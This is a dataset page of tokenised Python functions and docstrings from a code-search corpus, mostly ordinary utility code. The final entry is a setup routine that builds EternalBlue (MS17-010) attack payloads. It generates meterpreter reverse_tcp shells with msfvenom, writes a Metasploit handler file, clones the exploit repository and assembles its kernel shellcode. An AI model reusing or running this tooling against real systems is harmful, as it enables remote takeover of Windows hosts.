Datasets:

kejian

/

codesearchnet-python-raw

like 1

[ "def", "get_ec_numbers", "(", "cls", ",", "entry", ")", ":", "ec_numbers", "=", "[", "]", "for", "ec", "in", "entry", ".", "iterfind", "(", "\"./protein/recommendedName/ecNumber\"", ")", ":", "ec_numbers", ".", "append", "(", "models", ".", "ECNumber", "(", "ec_number", "=", "ec", ".", "text", ")", ")", "return", "ec_numbers" ]

[ "get", "list", "of", "models", ".", "ECNumber", "objects", "from", "XML", "node", "entry" ]

[ "def", "_get_records", "(", "self", ")", ":", "results", "=", "[", "]", "r", "=", "self", ".", "get_distinfo_resource", "(", "'RECORD'", ")", "with", "contextlib", ".", "closing", "(", "r", ".", "as_stream", "(", ")", ")", "as", "stream", ":", "with", "CSVReader", "(", "stream", "=", "stream", ")", "as", "record_reader", ":", "# Base location is parent dir of .dist-info dir", "#base_location = os.path.dirname(self.path)", "#base_location = os.path.abspath(base_location)", "for", "row", "in", "record_reader", ":", "missing", "=", "[", "None", "for", "i", "in", "range", "(", "len", "(", "row", ")", ",", "3", ")", "]", "path", ",", "checksum", ",", "size", "=", "row", "+", "missing", "#if not os.path.isabs(path):", "# path = path.replace('/', os.sep)", "# path = os.path.join(base_location, path)", "results", ".", "append", "(", "(", "path", ",", "checksum", ",", "size", ")", ")", "return", "results" ]

[ "Get", "the", "list", "of", "installed", "files", "for", "the", "distribution", ":", "return", ":", "A", "list", "of", "tuples", "of", "path", "hash", "and", "size", ".", "Note", "that", "hash", "and", "size", "might", "be", "None", "for", "some", "entries", ".", "The", "path", "is", "exactly", "as", "stored", "in", "the", "file", "(", "which", "is", "as", "in", "PEP", "376", ")", "." ]

[ "def", "secret_learned", "(", "state", ":", "MediatorTransferState", ",", "channelidentifiers_to_channels", ":", "ChannelMap", ",", "pseudo_random_generator", ":", "random", ".", "Random", ",", "block_number", ":", "BlockNumber", ",", "block_hash", ":", "BlockHash", ",", "secret", ":", "Secret", ",", "secrethash", ":", "SecretHash", ",", "payee_address", ":", "Address", ",", ")", "->", "TransitionResult", "[", "MediatorTransferState", "]", ":", "secret_reveal_events", "=", "set_offchain_secret", "(", "state", ",", "channelidentifiers_to_channels", ",", "secret", ",", "secrethash", ",", ")", "set_offchain_reveal_state", "(", "state", ".", "transfers_pair", ",", "payee_address", ",", ")", "onchain_secret_reveal", "=", "events_for_onchain_secretreveal_if_closed", "(", "channelmap", "=", "channelidentifiers_to_channels", ",", "transfers_pair", "=", "state", ".", "transfers_pair", ",", "secret", "=", "secret", ",", "secrethash", "=", "secrethash", ",", "block_hash", "=", "block_hash", ",", ")", "offchain_secret_reveal", "=", "events_for_secretreveal", "(", "state", ".", "transfers_pair", ",", "secret", ",", "pseudo_random_generator", ",", ")", "balance_proof", "=", "events_for_balanceproof", "(", "channelidentifiers_to_channels", ",", "state", ".", "transfers_pair", ",", "pseudo_random_generator", ",", "block_number", ",", "secret", ",", "secrethash", ",", ")", "events", "=", "secret_reveal_events", "+", "offchain_secret_reveal", "+", "balance_proof", "+", "onchain_secret_reveal", "iteration", "=", "TransitionResult", "(", "state", ",", "events", ")", "return", "iteration" ]

[ "Unlock", "the", "payee", "lock", "reveal", "the", "lock", "to", "the", "payer", "and", "if", "necessary", "register", "the", "secret", "on", "-", "chain", "." ]

[ "def", "ingest_resources", "(", "mapping", ",", "schema_dir", ")", ":", "ingested_resources", "=", "[", "]", "for", "name", ",", "filepath", "in", "iteritems", "(", "mapping", ")", ":", "try", ":", "ingested_resources", ".", "append", "(", "load_schema", "(", "filepath", ")", ")", "# If we have trouble reading any files, raise a more user-friendly", "# error.", "except", "IOError", ":", "raise", "ApiDeclarationNotFoundError", "(", "'No api declaration found at {0}. Attempted to load the `{1}` '", "'resource relative to the schema_directory `{2}`. Perhaps '", "'your resource name and API declaration file do not '", "'match?'", ".", "format", "(", "filepath", ",", "name", ",", "schema_dir", ")", ")", "return", "ingested_resources" ]

[ "Consume", "the", "Swagger", "schemas", "and", "produce", "a", "queryable", "datastructure", "." ]

[ "def", "hairball_files", "(", "self", ",", "paths", ",", "extensions", ")", ":", "def", "add_file", "(", "filename", ")", ":", "return", "os", ".", "path", ".", "splitext", "(", "filename", ")", "[", "1", "]", "in", "extensions", "while", "paths", ":", "arg_path", "=", "paths", ".", "pop", "(", "0", ")", "if", "os", ".", "path", ".", "isdir", "(", "arg_path", ")", ":", "found", "=", "False", "for", "path", ",", "dirs", ",", "files", "in", "os", ".", "walk", "(", "arg_path", ")", ":", "dirs", ".", "sort", "(", ")", "# Traverse in sorted order", "for", "filename", "in", "sorted", "(", "files", ")", ":", "if", "add_file", "(", "filename", ")", ":", "yield", "os", ".", "path", ".", "join", "(", "path", ",", "filename", ")", "found", "=", "True", "if", "not", "found", ":", "if", "not", "self", ".", "options", ".", "quiet", ":", "print", "(", "'No files found in {}'", ".", "format", "(", "arg_path", ")", ")", "elif", "add_file", "(", "arg_path", ")", ":", "yield", "arg_path", "elif", "not", "self", ".", "options", ".", "quiet", ":", "print", "(", "'Invalid file {}'", ".", "format", "(", "arg_path", ")", ")", "print", "(", "'Did you forget to load a Kurt plugin (-k)?'", ")" ]

[ "Yield", "filepath", "to", "files", "with", "the", "proper", "extension", "within", "paths", "." ]

[ "def", "frag2text", "(", "endpoint", ",", "stype", ",", "selector", ",", "clean", "=", "False", ",", "raw", "=", "False", ",", "verbose", "=", "False", ")", ":", "try", ":", "return", "main", "(", "endpoint", ",", "stype", ",", "selector", ",", "clean", ",", "raw", ",", "verbose", ")", "except", "StandardError", "as", "err", ":", "return", "err" ]

[ "returns", "Markdown", "text", "of", "selected", "fragment", "." ]

[ "def", "locally", "(", "self", ")", ":", "from", ".", "backends", "import", "python", "from", ".", "import", "models", "store", "=", "python", ".", "IterableStore", "(", "values", "=", "self", ")", "return", "store", ".", "query", "(", "self", ".", "manager", ".", "model", ")", ".", "all", "(", ")" ]

[ "Will", "execute", "the", "current", "queryset", "and", "pass", "it", "to", "the", "python", "backend", "so", "user", "can", "run", "query", "on", "the", "local", "dataset", "(", "instead", "of", "contacting", "the", "store", ")" ]

[ "def", "latsrf", "(", "method", ",", "target", ",", "et", ",", "fixref", ",", "lonlat", ")", ":", "method", "=", "stypes", ".", "stringToCharP", "(", "method", ")", "target", "=", "stypes", ".", "stringToCharP", "(", "target", ")", "et", "=", "ctypes", ".", "c_double", "(", "et", ")", "fixref", "=", "stypes", ".", "stringToCharP", "(", "fixref", ")", "npts", "=", "ctypes", ".", "c_int", "(", "len", "(", "lonlat", ")", ")", "lonlat", "=", "stypes", ".", "toDoubleMatrix", "(", "lonlat", ")", "srfpts", "=", "stypes", ".", "emptyDoubleMatrix", "(", "3", ",", "npts", ".", "value", ")", "libspice", ".", "latsrf_c", "(", "method", ",", "target", ",", "et", ",", "fixref", ",", "npts", ",", "lonlat", ",", "srfpts", ")", "return", "stypes", ".", "cMatrixToNumpy", "(", "srfpts", ")" ]

[ "Map", "array", "of", "planetocentric", "longitude", "/", "latitude", "coordinate", "pairs", "to", "surface", "points", "on", "a", "specified", "target", "body", ".", "The", "surface", "of", "the", "target", "body", "may", "be", "represented", "by", "a", "triaxial", "ellipsoid", "or", "by", "topographic", "data", "provided", "by", "DSK", "files", ".", "https", ":", "//", "naif", ".", "jpl", ".", "nasa", ".", "gov", "/", "pub", "/", "naif", "/", "toolkit_docs", "/", "C", "/", "cspice", "/", "latsrf_c", ".", "html", ":", "param", "method", ":", "Computation", "method", ".", ":", "type", "method", ":", "str", ":", "param", "target", ":", "Name", "of", "target", "body", ".", ":", "type", "target", ":", "str", ":", "param", "et", ":", "Epoch", "in", "TDB", "seconds", "past", "J2000", "TDB", ".", ":", "type", "et", ":", "float", ":", "param", "fixref", ":", "Body", "-", "fixed", "body", "-", "centered", "target", "body", "frame", ".", ":", "type", "fixref", ":", "str", ":", "param", "lonlat", ":", "Array", "of", "longitude", "/", "latitude", "coordinate", "pairs", ".", ":", "type", "lonlat", ":", "A", "2xM", "-", "Element", "Array", "of", "floats", ":", "return", ":", "Array", "of", "surface", "points", ".", ":", "rtype", ":", "A", "3xM", "-", "Element", "Array", "of", "floats" ]

[ "def", "get", "(", "self", ",", "name", "=", "None", ")", ":", "# Print a list of hubs.", "if", "name", "is", "None", ":", "hubs", "=", "self", ".", "get_hubs", "(", ")", "print", "(", "\"Running Jupyterhub Deployments (by name):\"", ")", "for", "hub_name", "in", "hubs", ":", "hub", "=", "Hub", "(", "namespace", "=", "hub_name", ")", "data", "=", "hub", ".", "get_description", "(", ")", "url", "=", "data", "[", "'LoadBalancer Ingress'", "]", "print", "(", "f' - Name: {hub_name}'", ")", "print", "(", "f' Url: {url}'", ")", "else", ":", "hub", "=", "Hub", "(", "namespace", "=", "name", ")", "hub", ".", "get", "(", ")" ]

[ "Print", "a", "list", "of", "all", "jupyterHubs", "." ]

[ "def", "get", "(", "self", ")", ":", "clusters", "=", "[", "statemgr", ".", "name", "for", "statemgr", "in", "self", ".", "tracker", ".", "state_managers", "]", "self", ".", "write_success_response", "(", "clusters", ")" ]

[ "get", "method" ]

[ "def", "get_all_comments_of_incoming", "(", "self", ",", "incoming_id", ")", ":", "return", "self", ".", "_iterate_through_pages", "(", "get_function", "=", "self", ".", "get_comments_of_incoming_per_page", ",", "resource", "=", "INCOMING_COMMENTS", ",", "*", "*", "{", "'incoming_id'", ":", "incoming_id", "}", ")" ]

[ "Get", "all", "comments", "of", "incoming", "This", "will", "iterate", "over", "all", "pages", "until", "it", "gets", "all", "elements", ".", "So", "if", "the", "rate", "limit", "exceeded", "it", "will", "throw", "an", "Exception", "and", "you", "will", "get", "nothing" ]

[ "def", "setup", "(", "self", ")", ":", "return", "self", ".", "arguments", ",", "self", ".", "settings", ",", "self", ".", "log", ",", "self", ".", "dbConn" ]

[ "**", "Summary", ":", "**", "*", "setup", "the", "attributes", "and", "return", "*" ]

[ "def", "load", "(", "description", ",", "add_arguments_cb", "=", "lambda", "x", ":", "None", ",", "postprocess_conf_cb", "=", "lambda", "x", ":", "None", ")", ":", "argparser", "=", "ArgumentParser", "(", "description", "=", "description", ",", "prefix_chars", "=", "'-+'", ")", "argparser", ".", "add_argument", "(", "'--version'", ",", "dest", "=", "'PRINT_VERSION'", ",", "action", "=", "'store_true'", ",", "help", "=", "'Print version and exit'", ")", "add_arguments_cb", "(", "argparser", ")", "# set up plugin argument argparser", "plugin_argparser", "=", "argparser", ".", "add_argument_group", "(", "'Plugins'", ")", "plugins", "=", "{", "}", "def", "load_plugin_group", "(", "group", ")", ":", "\"\"\"Load all plugins from the given plugin_group.\"\"\"", "for", "entry_point", "in", "iter_entry_points", "(", "group", "=", "group", ")", ":", "name", "=", "str", "(", "entry_point", ")", ".", "split", "(", "' ='", ",", "1", ")", "[", "0", "]", "plugin", "=", "entry_point", ".", "load", "(", ")", "if", "isclass", "(", "plugin", ")", "and", "not", "plugin", "in", "Conf", ".", "SUPPORTED_PLUGIN_INTERFACES", "and", "any", "(", "[", "issubclass", "(", "plugin", ",", "supported_plugin_interface", ")", "for", "supported_plugin_interface", "in", "Conf", ".", "SUPPORTED_PLUGIN_INTERFACES", "]", ")", ":", "plugin_argparser", ".", "add_argument", "(", "'+{}'", ".", "format", "(", "name", ")", ",", "dest", "=", "'PLUGIN_{}'", ".", "format", "(", "name", ")", ",", "type", "=", "str", ",", "nargs", "=", "'?'", ",", "default", "=", "DEFAULT", ",", "metavar", "=", "'args'", ".", "format", "(", "name", ")", ",", "help", "=", "make_argparse_help_safe", "(", "call_plugin", "(", "plugin", ",", "'help'", ")", ")", ")", "# register plugin", "plugins", "[", "name", "]", "=", "plugin", "else", ":", "warning", "(", "'Plugin not supported: {}'", ".", "format", "(", "name", ")", ")", "load_plugin_group", "(", "Conf", ".", "PLUGIN_GROUP_BASE", ")", "if", "Conf", ".", "LOAD_PLUGINS", ":", "load_plugin_group", "(", "Conf", ".", "PLUGIN_GROUP", ")", "conf", "=", "vars", "(", "argparser", ".", "parse_args", "(", "[", "v", "if", "i", "==", "0", "or", "v", "[", "0", "]", "==", "'+'", "or", "Conf", ".", "ARGS", "[", "i", "-", "1", "]", "[", "0", "]", "!=", "'+'", "else", "b32encode", "(", "v", ".", "encode", "(", ")", ")", ".", "decode", "(", ")", "for", "i", ",", "v", "in", "enumerate", "(", "Conf", ".", "ARGS", ")", "]", ")", ")", "postprocess_conf_cb", "(", "conf", ")", "# apply configuration", "Conf", ".", "set", "(", "conf", ")", "if", "Conf", ".", "PRINT_VERSION", ":", "print", "(", "'pdml2flow version {}'", ".", "format", "(", "Conf", ".", "VERSION", ")", ",", "file", "=", "Conf", ".", "OUT", ")", "sys", ".", "exit", "(", "0", ")", "# initialize plugins", "Conf", ".", "PLUGINS", "=", "[", "]", "for", "conf_name", ",", "args", "in", "conf", ".", "items", "(", ")", ":", "if", "conf_name", ".", "startswith", "(", "'PLUGIN_'", ")", "and", "args", "!=", "DEFAULT", ":", "plugin_name", "=", "conf_name", "[", "7", ":", "]", "Conf", ".", "PLUGINS", ".", "append", "(", "# instantiate plugin", "plugins", "[", "plugin_name", "]", "(", "*", "split", "(", "b32decode", "(", "args", ".", "encode", "(", ")", ")", ".", "decode", "(", ")", "if", "args", "is", "not", "None", "else", "''", ")", ")", ")" ]

[ "Loads", "the", "global", "Conf", "object", "from", "command", "line", "arguments", "." ]

[ "def", "validate", "(", "self", ",", "value", ")", ":", "errors", "=", "[", "]", "# Make sure the type validates first.", "valid", "=", "self", ".", "_is_valid", "(", "value", ")", "if", "not", "valid", ":", "errors", ".", "append", "(", "self", ".", "fail", "(", "value", ")", ")", "return", "errors", "# Then validate all the constraints second.", "for", "constraint", "in", "self", ".", "_constraints_inst", ":", "error", "=", "constraint", ".", "is_valid", "(", "value", ")", "if", "error", ":", "errors", ".", "append", "(", "error", ")", "return", "errors" ]

[ "Check", "if", "value", "is", "valid", "." ]

[ "def", "to_binary", "(", "self", ")", ":", "pre_checksum_data", "=", "self", ".", "__checksum_data", "(", ")", "checksum", "=", "velbus", ".", "checksum", "(", "pre_checksum_data", ")", "return", "pre_checksum_data", "+", "checksum", "+", "bytes", "(", "[", "velbus", ".", "END_BYTE", "]", ")" ]

[ ":", "return", ":", "bytes" ]

[ "def", "save", "(", "self", ",", "filename", ")", ":", "clibrebound", ".", "reb_output_binary", "(", "byref", "(", "self", ")", ",", "c_char_p", "(", "filename", ".", "encode", "(", "\"ascii\"", ")", ")", ")" ]

[ "Save", "the", "entire", "REBOUND", "simulation", "to", "a", "binary", "file", "." ]

[ "def", "run_step", "(", "context", ")", ":", "logger", ".", "debug", "(", "\"started\"", ")", "context", ".", "assert_key_has_value", "(", "key", "=", "'contextClear'", ",", "caller", "=", "__name__", ")", "for", "k", "in", "context", "[", "'contextClear'", "]", ":", "logger", ".", "debug", "(", "f\"removing {k} from context\"", ")", "# slightly unorthodox pop returning None means you don't get a KeyError", "# if key doesn't exist", "context", ".", "pop", "(", "k", ",", "None", ")", "logger", ".", "info", "(", "f\"removed {k} from context\"", ")", "logger", ".", "debug", "(", "\"done\"", ")" ]

[ "Remove", "specified", "keys", "from", "context", "." ]

[ "def", "load_app", "(", "target", ")", ":", "global", "NORUN", "NORUN", ",", "nr_old", "=", "True", ",", "NORUN", "tmp", "=", "default_app", ".", "push", "(", ")", "# Create a new \"default application\"", "try", ":", "rv", "=", "load", "(", "target", ")", "# Import the target module", "return", "rv", "if", "callable", "(", "rv", ")", "else", "tmp", "finally", ":", "default_app", ".", "remove", "(", "tmp", ")", "# Remove the temporary added default application", "NORUN", "=", "nr_old" ]

[ "Load", "a", "bottle", "application", "from", "a", "module", "and", "make", "sure", "that", "the", "import", "does", "not", "affect", "the", "current", "default", "application", "but", "returns", "a", "separate", "application", "object", ".", "See", ":", "func", ":", "load", "for", "the", "target", "parameter", "." ]

[ "def", "main", "(", ")", ":", "ep", "=", "requests", ".", "get", "(", "TRELLO_API_DOC", ")", ".", "content", "root", "=", "html", ".", "fromstring", "(", "ep", ")", "links", "=", "root", ".", "xpath", "(", "'//a[contains(@class, \"reference internal\")]/@href'", ")", "pages", "=", "[", "requests", ".", "get", "(", "TRELLO_API_DOC", "+", "u", ")", "for", "u", "in", "links", "if", "u", ".", "endswith", "(", "'index.html'", ")", "]", "endpoints", "=", "[", "]", "for", "page", "in", "pages", ":", "root", "=", "html", ".", "fromstring", "(", "page", ".", "content", ")", "sections", "=", "root", ".", "xpath", "(", "'//div[@class=\"section\"]/h2/..'", ")", "for", "sec", "in", "sections", ":", "ep_html", "=", "etree", ".", "tostring", "(", "sec", ")", ".", "decode", "(", "'utf-8'", ")", "ep_text", "=", "html2text", "(", "ep_html", ")", ".", "splitlines", "(", ")", "match", "=", "EP_DESC_REGEX", ".", "match", "(", "ep_text", "[", "0", "]", ")", "if", "not", "match", ":", "continue", "ep_method", ",", "ep_url", "=", "match", ".", "groups", "(", ")", "ep_text", "[", "0", "]", "=", "' '", ".", "join", "(", "[", "ep_method", ",", "ep_url", "]", ")", "ep_doc", "=", "b64encode", "(", "gzip", ".", "compress", "(", "'\\n'", ".", "join", "(", "ep_text", ")", ".", "encode", "(", "'utf-8'", ")", ")", ")", "endpoints", ".", "append", "(", "(", "ep_method", ",", "ep_url", ",", "ep_doc", ")", ")", "print", "(", "yaml", ".", "dump", "(", "create_tree", "(", "endpoints", ")", ")", ")" ]

[ "Prints", "the", "complete", "YAML", "." ]

[ "def", "settings", "(", "instance", ")", ":", "with", "open", "(", "instance", ".", "root_dir", "+", "'/Config/config.yml'", ")", "as", "config", ":", "config", "=", "yaml", ".", "load", "(", "config", ")", "instance", ".", "name", "=", "config", "[", "'name'", "]", "instance", ".", "port", "=", "config", "[", "'web'", "]", "[", "'port'", "]", "# default host", "instance", ".", "host", "=", "\"http://localhost\"", "if", "'host'", "in", "config", "[", "'web'", "]", ":", "instance", ".", "host", "=", "config", "[", "'web'", "]", "[", "'host'", "]", "instance", ".", "debug", "=", "config", "[", "'debug'", "]", "return", "instance" ]

[ "Definition", "to", "set", "settings", "from", "config", "file", "to", "the", "app", "instance", "." ]

[ "def", "mount_medium", "(", "self", ",", "name", ",", "controller_port", ",", "device", ",", "medium", ",", "force", ")", ":", "if", "not", "isinstance", "(", "name", ",", "basestring", ")", ":", "raise", "TypeError", "(", "\"name can only be an instance of type basestring\"", ")", "if", "not", "isinstance", "(", "controller_port", ",", "baseinteger", ")", ":", "raise", "TypeError", "(", "\"controller_port can only be an instance of type baseinteger\"", ")", "if", "not", "isinstance", "(", "device", ",", "baseinteger", ")", ":", "raise", "TypeError", "(", "\"device can only be an instance of type baseinteger\"", ")", "if", "not", "isinstance", "(", "medium", ",", "IMedium", ")", ":", "raise", "TypeError", "(", "\"medium can only be an instance of type IMedium\"", ")", "if", "not", "isinstance", "(", "force", ",", "bool", ")", ":", "raise", "TypeError", "(", "\"force can only be an instance of type bool\"", ")", "self", ".", "_call", "(", "\"mountMedium\"", ",", "in_p", "=", "[", "name", ",", "controller_port", ",", "device", ",", "medium", ",", "force", "]", ")" ]

[ "Mounts", "a", "medium", "(", ":", "py", ":", "class", ":", "IMedium", "identified", "by", "the", "given", "UUID", "@a", "id", ")", "to", "the", "given", "storage", "controller", "(", ":", "py", ":", "class", ":", "IStorageController", "identified", "by", "@a", "name", ")", "at", "the", "indicated", "port", "and", "device", ".", "The", "device", "must", "already", "exist", ";", "see", ":", "py", ":", "func", ":", "IMachine", ".", "attach_device", "for", "how", "to", "attach", "a", "new", "device", ".", "This", "method", "is", "intended", "only", "for", "managing", "removable", "media", "where", "the", "device", "is", "fixed", "but", "media", "is", "changeable", "at", "runtime", "(", "such", "as", "DVDs", "and", "floppies", ")", ".", "It", "cannot", "be", "used", "for", "fixed", "media", "such", "as", "hard", "disks", ".", "The", "@a", "controllerPort", "and", "@a", "device", "parameters", "specify", "the", "device", "slot", "and", "have", "have", "the", "same", "meaning", "as", "with", ":", "py", ":", "func", ":", "IMachine", ".", "attach_device", ".", "The", "specified", "device", "slot", "can", "have", "a", "medium", "mounted", "which", "will", "be", "unmounted", "first", ".", "Specifying", "a", "zero", "UUID", "(", "or", "an", "empty", "string", ")", "for", "@a", "medium", "does", "just", "an", "unmount", ".", "See", ":", "py", ":", "class", ":", "IMedium", "for", "more", "detailed", "information", "about", "attaching", "media", "." ]

[ "def", "might_need_auth", "(", "f", ")", ":", "@", "wraps", "(", "f", ")", "def", "wrapper", "(", "cli_args", ")", ":", "try", ":", "return_value", "=", "f", "(", "cli_args", ")", "except", "UnauthorizedException", "as", "e", ":", "config", "=", "config_from_env", "(", "config_from_file", "(", ")", ")", "username", "=", "_get_username", "(", "cli_args", ",", "config", ")", "if", "username", "is", "None", ":", "sys", ".", "exit", "(", "\"Please set a username (run `osf -h` for details).\"", ")", "else", ":", "sys", ".", "exit", "(", "\"You are not authorized to access this project.\"", ")", "return", "return_value", "return", "wrapper" ]

[ "Decorate", "a", "CLI", "function", "that", "might", "require", "authentication", "." ]

[ "def", "delete_public_room", "(", "self", ",", "room_id", ",", "*", "*", "kwargs", ")", ":", "return", "DeletePublicRoom", "(", "settings", "=", "self", ".", "settings", ",", "*", "*", "kwargs", ")", ".", "call", "(", "room_id", "=", "room_id", ",", "*", "*", "kwargs", ")" ]

[ "Delete", "room", "with", "given", "ID", ":", "param", "room_id", ":", "Room", "ID", ":", "param", "kwargs", ":", ":", "return", ":" ]

[ "def", "delete_group", "(", "self", ",", "group_id", ",", "mount_point", "=", "DEFAULT_MOUNT_POINT", ")", ":", "api_path", "=", "'/v1/{mount_point}/group/id/{id}'", ".", "format", "(", "mount_point", "=", "mount_point", ",", "id", "=", "group_id", ",", ")", "return", "self", ".", "_adapter", ".", "delete", "(", "url", "=", "api_path", ",", ")" ]

[ "Delete", "a", "group", "." ]

[ "def", "prepare_fixed_decimal", "(", "data", ",", "schema", ")", ":", "if", "not", "isinstance", "(", "data", ",", "decimal", ".", "Decimal", ")", ":", "return", "data", "scale", "=", "schema", ".", "get", "(", "'scale'", ",", "0", ")", "size", "=", "schema", "[", "'size'", "]", "# based on https://github.com/apache/avro/pull/82/", "sign", ",", "digits", ",", "exp", "=", "data", ".", "as_tuple", "(", ")", "if", "-", "exp", ">", "scale", ":", "raise", "ValueError", "(", "'Scale provided in schema does not match the decimal'", ")", "delta", "=", "exp", "+", "scale", "if", "delta", ">", "0", ":", "digits", "=", "digits", "+", "(", "0", ",", ")", "*", "delta", "unscaled_datum", "=", "0", "for", "digit", "in", "digits", ":", "unscaled_datum", "=", "(", "unscaled_datum", "*", "10", ")", "+", "digit", "bits_req", "=", "unscaled_datum", ".", "bit_length", "(", ")", "+", "1", "size_in_bits", "=", "size", "*", "8", "offset_bits", "=", "size_in_bits", "-", "bits_req", "mask", "=", "2", "**", "size_in_bits", "-", "1", "bit", "=", "1", "for", "i", "in", "range", "(", "bits_req", ")", ":", "mask", "^=", "bit", "bit", "<<=", "1", "if", "bits_req", "<", "8", ":", "bytes_req", "=", "1", "else", ":", "bytes_req", "=", "bits_req", "//", "8", "if", "bits_req", "%", "8", "!=", "0", ":", "bytes_req", "+=", "1", "tmp", "=", "MemoryIO", "(", ")", "if", "sign", ":", "unscaled_datum", "=", "(", "1", "<<", "bits_req", ")", "-", "unscaled_datum", "unscaled_datum", "=", "mask", "|", "unscaled_datum", "for", "index", "in", "range", "(", "size", "-", "1", ",", "-", "1", ",", "-", "1", ")", ":", "bits_to_write", "=", "unscaled_datum", ">>", "(", "8", "*", "index", ")", "tmp", ".", "write", "(", "mk_bits", "(", "bits_to_write", "&", "0xff", ")", ")", "else", ":", "for", "i", "in", "range", "(", "offset_bits", "//", "8", ")", ":", "tmp", ".", "write", "(", "mk_bits", "(", "0", ")", ")", "for", "index", "in", "range", "(", "bytes_req", "-", "1", ",", "-", "1", ",", "-", "1", ")", ":", "bits_to_write", "=", "unscaled_datum", ">>", "(", "8", "*", "index", ")", "tmp", ".", "write", "(", "mk_bits", "(", "bits_to_write", "&", "0xff", ")", ")", "return", "tmp", ".", "getvalue", "(", ")" ]

[ "Converts", "decimal", ".", "Decimal", "to", "fixed", "length", "bytes", "array" ]

[ "def", "update", "(", "self", ",", "session", ",", "lookup_keys", ",", "updates", ",", "*", "args", ",", "*", "*", "kwargs", ")", ":", "model", "=", "self", ".", "_get_model", "(", "lookup_keys", ",", "session", ")", "model", "=", "self", ".", "_set_values_on_model", "(", "model", ",", "updates", ",", "fields", "=", "self", ".", "update_fields", ")", "session", ".", "commit", "(", ")", "return", "self", ".", "serialize_model", "(", "model", ")" ]

[ "Updates", "the", "model", "with", "the", "specified", "lookup_keys", "and", "returns", "the", "dictified", "object", "." ]

[ "def", "setup", "(", "self", ")", ":", "lport64", "=", "self", ".", "port64", "lport32", "=", "self", ".", "port32", "print_notification", "(", "\"Using ip: {}\"", ".", "format", "(", "self", ".", "ip", ")", ")", "print_notification", "(", "\"Generating metasploit resource file\"", ")", "resource", "=", "\"\"\"use exploit/multi/handler\nset payload windows/x64/meterpreter/reverse_tcp\nset LHOST {ip}\nset LPORT {port64}\nset ExitOnSession false\nrun -j\nset payload windows/meterpreter/reverse_tcp\nset LHOST {ip}\nset LPORT {port32}\nset ExitOnSession false\nrun -j\n\"\"\"", ".", "format", "(", "ip", "=", "self", ".", "ip", ",", "port64", "=", "lport64", ",", "port32", "=", "lport32", ")", "self", ".", "resource_file", "=", "os", ".", "path", ".", "join", "(", "self", ".", "datadir", ",", "'ms17_resource.rc'", ")", "with", "open", "(", "self", ".", "resource_file", ",", "'w'", ")", "as", "f", ":", "f", ".", "write", "(", "resource", ")", "print_success", "(", "\"Resource file created, run the following command in msfconsole:\"", ")", "print_success", "(", "\"resource {}\"", ".", "format", "(", "self", ".", "resource_file", ")", ")", "command_64", "=", "\"msfvenom -p windows/meterpreter/reverse_tcp LHOST={ip} LPORT={port} -f raw -o {datadir}/payload32.bin\"", ".", "format", "(", "ip", "=", "self", ".", "ip", ",", "port", "=", "lport32", ",", "datadir", "=", "self", ".", "datadir", ")", "command_32", "=", "\"msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST={ip} LPORT={port} -f raw -o {datadir}/payload64.bin\"", ".", "format", "(", "ip", "=", "self", ".", "ip", ",", "port", "=", "lport64", ",", "datadir", "=", "self", ".", "datadir", ")", "print_notification", "(", "\"Generating payloads\"", ")", "process", "=", "subprocess", ".", "run", "(", "command_32", ".", "split", "(", "' '", ")", ",", "stdout", "=", "subprocess", ".", "PIPE", ",", "stderr", "=", "subprocess", ".", "PIPE", ")", "if", "process", ".", "returncode", "!=", "0", ":", "print_error", "(", "\"Problem with generating payload:\"", ")", "print_error", "(", "process", ".", "stderr", ")", "return", "False", "process", "=", "subprocess", ".", "run", "(", "command_64", ".", "split", "(", "' '", ")", ",", "stdout", "=", "subprocess", ".", "PIPE", ",", "stderr", "=", "subprocess", ".", "PIPE", ")", "if", "process", ".", "returncode", "!=", "0", ":", "print_error", "(", "\"Problem with generating payload:\"", ")", "print_error", "(", "process", ".", "stderr", ")", "return", "False", "if", "not", "os", ".", "path", ".", "exists", "(", "os", ".", "path", ".", "join", "(", "self", ".", "datadir", ",", "'MS17-010'", ")", ")", ":", "print_notification", "(", "\"Git repo was not found, cloning\"", ")", "process", "=", "subprocess", ".", "run", "(", "\"git clone https://github.com/mwgielen/MS17-010 {dir}\"", ".", "format", "(", "dir", "=", "os", ".", "path", ".", "join", "(", "self", ".", "datadir", ",", "'MS17-010'", ")", ")", ".", "split", "(", "' '", ")", ")", "if", "process", ".", "returncode", "!=", "0", ":", "print_error", "(", "\"Problems with cloning git\"", ")", "return", "False", "process", "=", "subprocess", ".", "run", "(", "\"nasm {datadir}/MS17-010/shellcode/eternalblue_kshellcode_x64.asm -o {datadir}/kshell64.bin\"", ".", "format", "(", "datadir", "=", "self", ".", "datadir", ")", ".", "split", "(", "' '", ")", ")", "if", "process", ".", "returncode", "!=", "0", ":", "print_error", "(", "\"Problems with NASM\"", ")", "return", "False", "process", "=", "subprocess", ".", "run", "(", "\"nasm {datadir}/MS17-010/shellcode/eternalblue_kshellcode_x86.asm -o {datadir}/kshell86.bin\"", ".", "format", "(", "datadir", "=", "self", ".", "datadir", ")", ".", "split", "(", "' '", ")", ")", "if", "process", ".", "returncode", "!=", "0", ":", "print_error", "(", "\"Problems with NASM\"", ")", "return", "False", "self", ".", "combine_files", "(", "'kshell64.bin'", ",", "'payload64.bin'", ",", "'final_met_64.bin'", ")", "self", ".", "combine_files", "(", "'kshell86.bin'", ",", "'payload32.bin'", ",", "'final_met_32.bin'", ")", "self", ".", "create_payload", "(", "'final_met_32.bin'", ",", "'final_met_64.bin'", ",", "'final_combined.bin'", ")", "print_notification", "(", "\"Combining payloads done\"", ")", "print_success", "(", "\"Setup Done\"", ")", "return", "True" ]

[ "This", "function", "will", "call", "msfvenom", "nasm", "and", "git", "via", "subprocess", "to", "setup", "all", "the", "things", ".", "Returns", "True", "if", "everything", "went", "well", "otherwise", "returns", "False", "." ]

